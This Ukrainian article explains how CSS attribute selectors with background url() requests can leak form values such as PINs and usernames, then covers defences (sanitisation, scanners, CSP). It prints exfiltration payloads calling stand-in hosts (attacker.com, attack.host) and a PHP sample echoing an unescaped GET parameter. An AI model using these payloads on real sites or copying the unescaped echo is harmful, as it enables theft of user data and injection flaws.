CSS та безпека даних

CSS та безпека даних

Різні компоненти фронтенду традиційно є вотчиною веб-розробників та дизайнерів і вони не завжди замислюються про безпеку контенту. У цій статті я пропоную поговорити про безпеку CSS.

Спочатку згадаємо, що таке кросссайтскриптинг (CSS). XSS це тип атаки на веб-ресурси, що полягає у впровадженні на сторінку довільного коду (який буде виконаний на комп’ютері користувача при відкритті ним цієї сторінки) і взаємодії цього коду з веб-сервером зловмисника.

Протягом кількох років сучасні браузери, такі як Chrome або Firefox, намагалися захистити користувачів веб-програм від різних атак, у тому числі XSS. Вони робили це за допомогою XSS-фільтрів, які в багатьох випадках дозволяли блокувати такі атаки. Однак ці фільтри виявлялися менш ефективними, і браузери, такі як Chrome, поступово відключають їх у пошуках альтернативних методів захисту. Принцип роботи XSS-фільтрів є досить простим. Коли ваш веб-браузер надсилає запит на веб-сайт, його вбудований фільтр міжсайтових сценаріїв перевіряє, чи у запиті виконується JavaScript, наприклад, блок <script> або HTML-елемент із вбудованим обробником подій. Також перевіряється, чи виконується JavaScript у відповіді від сервера

Теоретично це має добре працювати, але на практиці це легко обійти, а також немає захисту на стороні клієнта від XSS-атак.

Погляньмо, як можна вкрасти конфіденційні дані за допомогою каскадних таблиць стилів (CSS).

Крадіжка конфіденційних даних із стилем

JavaScript та HTML – не єдині мови, які підтримують усі основні веб-браузери. Каскадні таблиці стилів (CSS) також є частиною цієї групи. Не дивно, що CSS зазнав деяких серйозних змін з моменту свого створення. Те, що починалося як спосіб обвести теги div червоною пунктирною рамкою, перетворилося на високофункціональну мову, що дозволяє створювати сучасний веб-дизайн з такими функціями як переходи, медіа-запити і те, що можна описати як селектори атрибутів.

Наприклад, ми можемо змінити колір посилання без використання JavaScript. Звичайний CSS-селектор може виглядати приблизно так:

a {
   color: red;
}

При цьому будуть вибрані всі теги <a> та встановлений червоний колір тексту посилання для них. Однак це не забезпечує великої гнучкості і може навіть перешкодити решті вашого веб-дизайну. Можливо, ви захочете встановити колір внутрішніх посилань, відмінний від кольору зовнішніх, щоб відвідувачам було легше бачити, за яким посиланням вони перейдуть з вашого веб-сайту. Що ви можете зробити, так це створити клас, подібний до наведеного нижче, і застосувати його до всіх тегів прив’язки, які вказують на внутрішні посилання:

.internal-link {
   color: green;
}

Це не обов’язково ідеальна ситуація; це додає більше HTML коду, і вам потрібно вручну перевірити, чи встановлений правильний клас для всіх внутрішніх посилань. Зручно, що CSS надає простіше вирішення цієї проблеми.

Вибір атрибутів CSS

Селектори атрибутів CSS дозволяють встановити колір кожного посилання, що починається з https://mysite.com/, наприклад, на зелений:

a[href^="https://mysite.com/"] {
   color: green;
}

Це приємна функція, але яке це стосується ексфільтрації даних? Ну можна надсилати вихідні запити, використовуючи директиву background у поєднанні з url. Якщо ми поєднаємо це з селектором атрибутів, ми зможемо легко підтвердити наявність певних даних в атрибутах HTML на сторінці:

<style>
   input[name="pin"][value="1234"] {
      background: url(https://attacker.com/log?pin=1234);
   }
</style>
<input type="password" name="pin" value="1234">

Цей CSS-код вибере будь-який вхідний тег, що містить ім’я pin і значення 1234. Ввівши код на сторінку між тегами <style>, можна підтвердити, що наше припущення було правильним. Якби PIN-код був 5678, селектор не відповідав би полю введення, і запит на сервер зловмисника не було б надіслано. У цьому прикладі описана не найкорисніша атака з існуючих, але вона може бути використана для деанонімізації користувачів. Тобто, за допомогою CSS ми можемо реагувати на певне введення користувача на сторінці.

Подивимося ще один приклад того, як може працювати така ексфільтрація даних.

<html>
<head>
   <style>
       #username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
   </style>
</head>
<body>
   <form>
       Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
       <input id="form_submit" type="submit" value="submit"/>
       <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
   </form>
</body>
</html>

Давайте подивимося, що тут відбувається. Після завантаження сторінки в полі значення поля введення знаходиться ім’я користувача. Наведений вище код, що поєднує CSS та HTML, насправді може надати зловмиснику пристойний обсяг інформації. Так, якщо ім’я користувача починається з a, на сервер зловмисника буде надіслано запит, що містить a_. Якщо воно закінчується b, сервер отримає _b. Якщо ім’я користувача містить ab на сторінці, куди вбудовано шкідливу таблицю стилів, браузер видасть запит, що містить ab.

Зрозуміло, що цю концепцію можна розвинути теоретично, комбінація символів нижнього і верхнього регістру, цифр і 32 символів може призвести до корисного навантаження CSS розміром більше 620 Кбайт. По суті, це буде аналог перебору всіх можливих комбінацій.

Однак із цим методом є кілька проблем, оскільки він потребує деяких попередніх умов:

Дані повинні бути присутніми під час завантаження сторінки, щоб було неможливо перехопити введення користувача в реальному часі за допомогою CSS Exfil.

Має бути достатньо елементів, які можна стилізувати за допомогою CSS. Один елемент не можна використовувати для двох різних ексфільтрацій. Що ви можете зробити, так це використовувати один елемент для визначення першої літери та один елемент, який ви використовуєте виключно для останньої літери, оскільки існує лише одна можлива перша та одна можлива остання літера. Однак для решти літер це менш просто.

Елементи, які ви використовуєте для ексфільтрації, повинні допускати атрибути CSS, для яких можна використовувати URL, такі як фон або стиль списку і т.д.

З іншого боку, нелегко повторно зібрати дані. Наприклад, якщо ви спробуєте відфільтрувати цей досить слабкий пароль шанувальника шведської поп-групи ABBA, ви зіткнетеся з серйозною проблемою.

abbaabbaabba

Цей пароль починається з a, закінчується a і містить ab, bb, aa, а також ba. Але це не допоможе вам відновити пароль. Досі залишається багато припущень. Ви навіть не знаєте, напевно, який довжини пароль. abbaa також відповідає цьому опису, але це все одно не той пароль, який ми шукали.

Так що запропонований концепт використання CSS для атак хакерів далеко не бездоганний, але дає достатньо матеріалу для роздумів.

Як можна захиститися від цих атак

Є кілька простих кроків, які можна зробити, щоб переконатися, що у вашому додатку немає помилок, які можуть дозволити зловмисникам включати довільний контент CSS:

Застосуйте контекстно-залежне очищення. Це означає, що вам доводиться використовувати різні форми кодування в різних ситуаціях: наприклад, шістнадцяткове кодування всередині блоків скрипта або об’єкти HTML всередині інших HTML-тегів. Можуть виникнути ситуації, коли вам також потрібно використовувати інші форми очищення, такі як кодування HTML або білого списку.

Проскануйте вашу програму за допомогою сканера вразливостей, наприклад Nikto або Wapiti оскільки вразливість, по суті, є впровадження HTML-коду, яке може бути виявлено більшістю сканерів безпеки веб-додатків. Як і XSS, для цієї атаки потрібно використання коду.

Введіть належну політику безпеки контенту (CSP), якщо ви хочете бути абсолютно впевнені, що зловмисник не зможе скористатися цією вразливістю, навіть якщо ви забули виконати очищення. За допомогою такої політики можна скласти білий список URL, з яких можна завантажувати контент. У такому разі звернутися до ресурсів зловмисника вже не вийде.

CSS та безпека даних

Кожна з цих рекомендацій важлива для запобігання вразливості у всій вашій кодовій базі.

Висновок

У цій статті наведено короткий опис можливих концепцій атак за допомогою CSS. Розробникам фронтенду та адміністраторам веб-серверів теж необхідно знати про подібні атаки та вміти з ними боротися.

Джерело